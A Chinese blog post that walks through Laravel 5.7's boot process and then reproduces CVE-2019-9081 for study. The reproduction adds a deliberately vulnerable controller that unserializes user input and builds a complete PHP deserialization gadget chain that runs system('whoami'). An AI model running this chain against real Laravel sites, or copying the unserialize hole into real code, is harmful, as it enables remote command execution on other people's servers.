Laravelv5.7框架启动流程分析&CVE-2019-9081复现
本文最后更新于 561 天前,其中的信息可能已经有所发展或是发生改变。

某天和协会师弟交流了一下,意识到了自己一直以来审计代码的不足之处:没有完整的分析一个框架的启动流程,而是囫囵吞枣的对漏洞进行一次复现,这对整个代码审计来说其实是不完整的,不利于提高自己的白盒审计能力以及独立挖掘漏洞。于是自己决定尝试着分析一下Laravel框架的流程,并对CVE进行一次复现。

目录结构

一般经典的MVC,M在app/Models,V在resources/views,C在app/Http/Controllers。

app

应用的核心代码,初始化时有四个目录。

Console:所有开发者编写的artisan命令。Artisan 是 Laravel 中自带的命令行工具的名称,可以通过php artisan list查看所有能执行的命令。可以做一些操作例如添加控制器、模型、数据库等。

Exceptions:错误和异常处理

Http:控制器和中间件

Providers:应用的所有的服务提供器 。服务提供器通过在服务容器中绑定服务、注册事件、以及执行其他任务来为即将到来的请求做准备来启动应用。

config

配置文件

database

数据库迁移文件和填充文件

public

入口文件和一些公用资源,比如前端等

resources

包含了应用视图文件和语言包

routes

应用定义的所有路由

Storage

编译后的 Blade 模板,文件缓存(Session,log,cache等等)

tests

自动化测试文件

vendor

应用所有通过 Composer 加载的依赖文件

启动流程分析

入口文件在/laravel/public/index.php,对/bootstrap/app.php下文件进行了文件包含操作。

$app = require_once __DIR__.'/../bootstrap/app.php';

跟踪可以看到包含后执行了什么,先实例化了Application类

$app = new Illuminate\Foundation\Application(
    realpath(__DIR__.'/../')
);

跟踪,由于是实例化,所以调用了Application类的__construct方法,传入的参数为realpath(__DIR__.'/../')

    /**
     * Create a new Illuminate application instance.
     *
     * @param  string|null  $basePath
     * @return void
     */
    public function __construct($basePath = null)
    {
        if ($basePath) {
            $this->setBasePath($basePath);
        }

        $this->registerBaseBindings();

        $this->registerBaseServiceProviders();

        $this->registerCoreContainerAliases();
    }

可以看到进行了四个操作,首先是如果传入参了参数,执行 $this->setBasePath($basePath) ,在绑定了$basePath后再将$basePath目录下的其他路径一一与容器进行绑定。

    public function setBasePath($basePath)
    {
        $this->basePath = rtrim($basePath, '\/');

        $this->bindPathsInContainer();

        return $this;
    }

再到$this->registerBaseBindings(); ,这里分别绑定$app->instance['app']等属性。

    protected function registerBaseBindings()
    {
        static::setInstance($this);

        $this->instance('app', $this);

        $this->instance(Container::class, $this);

        $this->instance(PackageManifest::class, new PackageManifest(
            new Filesystem, $this->basePath(), $this->getCachedPackagesPath()
        ));
    }

$this->registerBaseServiceProviders(); 分别注册路由容器、事件容器、日志容器。

    protected function registerBaseServiceProviders()
    {
        $this->register(new EventServiceProvider($this));
        $this->register(new LogServiceProvider($this));
        $this->register(new RoutingServiceProvider($this));
    }

$this->registerCoreContainerAliases();到最后是给$app->alias进行了赋值。

$app->alias = [
    'app'   =>  [\Illuminate\Foundation\Application::class, \Illuminate\Contracts\Container\Container::class, \Illuminate\Contracts\Foundation\Application::class,  \Psr\Container\ContainerInterface::class]

通过构造函数,Application类加载了大部分的属性,我们可以开debug看一下,__construct本质就是在对$app各种属性一个填充的过程。

$app->singleton(
    Illuminate\Contracts\Http\Kernel::class,
    App\Http\Kernel::class
);

$app->singleton(
    Illuminate\Contracts\Console\Kernel::class,
    App\Console\Kernel::class
);

$app->singleton(
    Illuminate\Contracts\Debug\ExceptionHandler::class,
    App\Exceptions\Handler::class
);

之后,分别三次调用singleton函数,可以观察一下具体做了什么

    public function singleton($abstract, $concrete = null)
    {
        $this->bind($abstract, $concrete, true);
    }

进入bind

    public function bind($abstract, $concrete = null, $shared = false)
    {
        $this->dropStaleInstances($abstract);

        // If no concrete type was given, we will simply set the concrete type to the
        // abstract type. After that, the concrete type to be registered as shared
        // without being forced to state their classes in both of the parameters.
        if (is_null($concrete)) {
            $concrete = $abstract;
        }

        // If the factory is not a Closure, it means it is just a class name which is
        // bound into this container to the abstract type and we will just wrap it
        // up inside its own Closure to give us more convenience when extending.
        if (! $concrete instanceof Closure) {
            $concrete = $this->getClosure($abstract, $concrete);
        }

        $this->bindings[$abstract] = compact('concrete', 'shared');

        // If the abstract type was already resolved in this container we'll fire the
        // rebound listener so that any objects which have already gotten resolved
        // can have their copy of the object updated via the listener callbacks.
        if ($this->resolved($abstract)) {
            $this->rebound($abstract);
        }
    }

首先是执行了一个unset的操作,接着执行getClosure

这里不会进入if,最后进入return,返回闭包

这里的$container是Application类,进入Application的make方法,这里同样没有进入if,进入Container类的make方法,调用resolve,传入的值为App\Http\Kernel::class 和 []

这里进入resolve前面两处的If都进行了跳过

    protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;
    }

这处的if进入true分支

        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

进入build,如果传入的值时闭包,执行闭包,这里不是闭包跳过

        if ($concrete instanceof Closure) {
            return $concrete($this, $this->getLastParameterOverride());
        }

如果不是闭包,实例化反射类,这里传入的值是App/Http/Kerenl,然后进行文件包含

如果没有找到文件,即不能进行实例化,返回报错

        if (! $reflector->isInstantiable()) {
            return $this->notInstantiable($concrete);
        }

buildStack是一个需要被实例化的类组成的栈,这里传入的值依然是App/Http/Kerenl

        $this->buildStack[] = $concrete;

$constructor获取该类的构造方法

        $constructor = $reflector->getConstructor();

后面其实是一个if-else结构,如果没有构造方法,则直接实例化这个类,否则就获取构造方法的参数,参数即为该类的依赖,最后递归解析并实例化依赖。

        if (is_null($constructor)) {
            array_pop($this->buildStack);

            return new $concrete;
        }

        $dependencies = $constructor->getParameters();

        $instances = $this->resolveDependencies(
            $dependencies
        );

最后将类弹出栈,弹出依赖并实例化类。

        array_pop($this->buildStack);

        return $reflector->newInstanceArgs($instances);

到这里我们做的操作就是实例化App\Http\Kernel类,并且解决了依赖,其实就是该类的一个构造。

跳出build方法后,没有进入后面两个if,弹出栈。

后面两个singleton函数同理,也是对类进行了一个实例化并且解决依赖的操作。

$app->singleton(
    Illuminate\Contracts\Console\Kernel::class,
    App\Console\Kernel::class
);

$app->singleton(
    Illuminate\Contracts\Debug\ExceptionHandler::class,
    App\Exceptions\Handler::class
);

文件包含app.php执行完后,返回index.php,这里先执行了$app->make,之后调用kernel示例的handle方法。

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

跟踪该类,进入文件包含后实例化类,最后调用createFromBase,这里比较有意思,这里构造了request对象,并读取了用户所有传入的参数。

    public static function createFromGlobals()
    {
        $request = self::createRequestFromFactory($_GET, $_POST, [], $_COOKIE, $_FILES, $_SERVER);

        if (str_starts_with($request->headers->get('CONTENT_TYPE', ''), 'application/x-www-form-urlencoded')
            && \in_array(strtoupper($request->server->get('REQUEST_METHOD', 'GET')), ['PUT', 'DELETE', 'PATCH'])
        ) {
            parse_str($request->getContent(), $data);
            $request->request = new ParameterBag($data);
        }

        return $request;
    }

从这里最后返回request,进入到handle方法

    public function handle($request)
    {
        try {
            $request->enableHttpMethodParameterOverride();

            $response = $this->sendRequestThroughRouter($request);
        } catch (Exception $e) {
            $this->reportException($e);

            $response = $this->renderException($request, $e);
        } catch (Throwable $e) {
            $this->reportException($e = new FatalThrowableError($e));

            $response = $this->renderException($request, $e);
        }

        $this->app['events']->dispatch(
            new Events\RequestHandled($request, $response)
        );

        return $response;
    }

enableHttpMethodParameterOverride()只做了一件事,设置request的属性$httpMethodParameterOverride为true

            $request->enableHttpMethodParameterOverride();

接着到进入最核心的sendRequestThroughRouter

            $response = $this->sendRequestThroughRouter($request);

这里再次执行instance对请求信息进行绑定,最后创建Pipeline对象,发送request到路由上。

    protected function sendRequestThroughRouter($request)
    {
        $this->app->instance('request', $request);

        Facade::clearResolvedInstance('request');

        $this->bootstrap();

        return (new Pipeline($this->app))
                    ->send($request)
                    ->through($this->app->shouldSkipMiddleware() ? [] : $this->middleware)
                    ->then($this->dispatchToRouter());
    }

进入dispatchToRouter,链子很长,你忍一下

    protected function dispatchToRouter()
    {
        return function ($request) {
            $this->app->instance('request', $request);

            return $this->router->dispatch($request);
        };
    }
    public function dispatch(Request $request)
    {
        $this->currentRequest = $request;

        return $this->dispatchToRoute($request);
    }
    public function dispatchToRoute(Request $request)
    {
        return $this->runRoute($request, $this->findRoute($request));
    }

最后将request请求解析到路由上,然后在调用send发送。

CVE-2019-9081

由于框架本身是没有反序列化点的,我们需要自己创建一个控制器添加反序列化点。在Routes/web.php中添加路由记录。

Route::get('/index', 
    'TaskController@index');

创建控制器TaskController

<?php
namespace App\Http\Controllers;

class TaskController {
    public function index() {
        @unserialize(base64_decode($_GET['poc']));
        return 'Hello';
    }
}

起点在vendor/laravel/framework/src/illuminate/Foundation/Testing/PendingCommand.php。可以看到在5.7中才添加了该文件,在5.6中没有该文件,所以这个漏洞只能在5.7中利用执行。

关注他构造函数的主要变量,可以看到这是一个命令执行的类。

    public function __construct(PHPUnitTestCase $test, $app, $command, $parameters)
    {
        $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
        $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
        $this->command = $command; //要执行的php函数
        $this->parameters = $parameters; //要执行的php函数的参数
    }

调试分析这里的__destruct流程,先尝试传入序列化后的对象,跟踪走向

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace {
    $pending = new \Illuminate\Foundation\Testing\PendingCommand(null, null, "system", "whoami");
    echo base64_encode(serialize($pending));
}

__destruct

    public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

跟踪进入run,然后进入函数mockConsoleOutput,这里触发了laravel的错误处理。

    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }

在这里触发了报错

        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

发现由于这里是ArrayInput orz,所以这里传入的$parameters需要是一个数组,于是重新开始构造poc。很低级的错误,不过这里也给了我一个提示,就是命令执行的参数大部分其实还是以数组形式呈现的。

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace {
    $pending = new \Illuminate\Foundation\Testing\PendingCommand(null, null, "system", array("whoami"));
    echo base64_encode(serialize($pending));
}

到这里在$this->mockConsoleOutput抛出错误,跟进$this->createABufferedOutputMock()

    private function createABufferedOutputMock()
    {
        $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
                ->shouldAllowMockingProtectedMethods()
                ->shouldIgnoreMissing();

        foreach ($this->test->expectedOutput as $i => $output) {
            $mock->shouldReceive('doWrite')
                ->once()
                ->ordered()
                ->with($output, Mockery::any())
                ->andReturnUsing(function () use ($i) {
                    unset($this->test->expectedOutput[$i]);
                });
        }

        return $mock;
    }

到这里要求$this->test->expectedOutput值存在,于是我们查找存在该变量的类

于是搜索全局,发现没有类存在该变量,只有InteractsWithConsole这trait存在

查找该trait,只在TestCase中被使用,而该测试类无法被实例化。于是我们换一种思路,寻找__get()魔术方法,该魔术方法需要返回值可控,在属性$expectedOutput被调用时调用。作者选用了Illuminate\Auth\GenericUser

// Illuminate\Auth\GenericUser

    public function __get($key)
    {
        return $this->attributes[$key];
    }

这里我们只需要实例化该类时对$this->attributes['expectedOutput']进行赋值即可,注意这里的赋值依然需要数组

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser {
        protected $attributes;
        public function __construct(array $attributes) {
            $this->attributes = $attributes;
        }
    }

}

namespace {
    $generic = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"0")));
    $pending = new \Illuminate\Foundation\Testing\PendingCommand($generic, null, "system", array("whoami"));
    echo base64_encode(serialize($pending));
}

可以看到这里获得了值,报错也就绕过了

往后走同理,这里和刚才expectedOutput同样的构造方法。

往后就是需要给app赋值

        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });

到这里的poc需要$app变量含有$bind方法,在Container类中存在。

跳出mockConsoleOutput,往后走进入try-catch分支。

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

这里的Kernel::classIlluminate\Contracts\Console\Kernel定值

追踪$this->app[Kernel::class],从这里一直追踪到getConcrete()

不跳入is_null(),进入if语句判断,这里如果bindings[$abstract]值存在,则返回$this->bindings[$abstract][‘concrete’],而该值是可控的。

接着进入isBuildable(),由于这里直接获得concrete,所以这里的值依然是个数组,且是我们需要实例化的类名,这里传入的是Application,Isbuild返回false,进入else分支

第二次分支依然会进行make操作,所不同的是这里获取到的$abstract已经是我们需要实例化的Illuminate\Foundation\Application,取代之前的Kenerl

第二次的if-else语句进入了if分支,调用反射类实例化变量。

接下来需要弹出三次栈,以及放回上一层,最后到最上面一层,我们传入的 $this->app[Kernel::class] 就是Illuminate\Foundation\Application,然后调用该类的call函数,而在Application中找不到call()函数,所以调用的是继承类的call()

而最后调用的是BoundMethod:call

会进行一个Callable的判断,最后调用call_user_func_array()!

这里的$callback和$parameters是我们可控的,也就是我们最开始实例化是传入的参数。

POC

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        public function __construct($test, $app, $command, $parameters)
        {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser {
        protected $attributes;
        public function __construct(array $attributes) {
            $this->attributes = $attributes;
        }
    }

}

namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bindings){
            $this->bindings=$bindings;
        }
    }
}

namespace {
    $generic = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"0"), "expectedQuestions"=>array("0"=>"0")));
    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
    $pending = new \Illuminate\Foundation\Testing\PendingCommand($generic, $application, "system", array("whoami"));
    echo base64_encode(serialize($pending));
}

参考

laravelv5.7反序列化rce(CVE-2019-9081)

Laravel 启动流程分析 (代码全流程)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇